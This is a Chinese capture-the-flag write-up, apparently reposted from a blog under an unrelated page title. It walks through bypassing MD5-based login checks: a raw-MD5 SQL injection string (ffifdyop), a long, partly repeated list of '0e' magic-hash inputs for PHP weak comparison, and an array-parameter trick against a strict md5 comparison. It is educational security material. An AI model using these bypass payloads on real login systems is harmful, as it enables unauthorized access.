1. 程式人生 > 其它 >從位元組碼看String

從位元組碼看String

這題看題目也知道,主要考察的是md5有關繞過

首先,開啟題目有一個輸入框

隨便輸入一些東西,並沒有發現什麼,於是用bp抓包看看,得到一串暗示

可以使用ffifdyop繞過,因為 ffifdyop 這個字串被 md5 雜湊了之後會變成 276f722736c95d99e921722cf9ed621c,這個字串前幾位剛好是 ‘ or ‘6,
而 Mysql 剛好又會吧 hex 轉成 ascii 解釋,因此拼接之後的形式是1select * from ‘admin’ where password=’’ or ‘6xxxxx’ 等價於一個永真式萬能密碼,從而繞過md5函式

這樣又得到了一個頁面

檢視原始碼,得到第二層提示

考察的是md5弱型別繞過,常見的md5弱型別有(只要md5後以0e開頭,就被認為相等)


QNKCDZO
0e830400451993494058024219903391


s878926199a
0e545993274517709034328855841020


s155964671a
0e342768416822451524974117254469


s214587387a
0e848240448830537924465865611904


s214587387a
0e848240448830537924465865611904


s878926199a
0e545993274517709034328855841020


s1091221200a
0e940624217856561557816327384675


s1885207154a
0e509367213418206700842008763514


s1502113478a
0e861580163291561247404381396064


s1885207154a
0e509367213418206700842008763514


s1836677006a
0e481036490867661113260034900752


s155964671a
0e342768416822451524974117254469


s1184209335a
0e072485820392773389523109082030


s1665632922a
0e731198061491163073197128363787


s1502113478a
0e861580163291561247404381396064


s1836677006a
0e481036490867661113260034900752


s1091221200a
0e940624217856561557816327384675


s155964671a
0e342768416822451524974117254469


s1502113478a
0e861580163291561247404381396064


s155964671a
0e342768416822451524974117254469


s1665632922a
0e731198061491163073197128363787


s155964671a
0e342768416822451524974117254469


s1091221200a
0e940624217856561557816327384675


s1836677006a
0e481036490867661113260034900752


s1885207154a
0e509367213418206700842008763514


s532378020a
0e220463095855511507588041205815


s878926199a
0e545993274517709034328855841020


s1091221200a
0e940624217856561557816327384675


s214587387a
0e848240448830537924465865611904


s1502113478a
0e861580163291561247404381396064


s1091221200a
0e940624217856561557816327384675


s1665632922a
0e731198061491163073197128363787


s1885207154a
0e509367213418206700842008763514


s1836677006a
0e481036490867661113260034900752


s1665632922a
0e731198061491163073197128363787 


s878926199a
0e545993274517709034328855841020

在框中輸入url
?a=QNKCDZO&b=s878926199a

得到下一層提示:

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

MD5強碰撞,此時如果傳入的兩個引數不是字串,而是陣列,md5()函式無法解出其數值,而且不會報錯,就會得到===強比較的值相等

所以可以在hackbar中輸入param1[]=1&param2[]=2

這樣就得到了flag

本文來自部落格園,作者:Athena-ydy,轉載請註明原文連結:https://www.cnblogs.com/Athena-ydy/p/15468141.html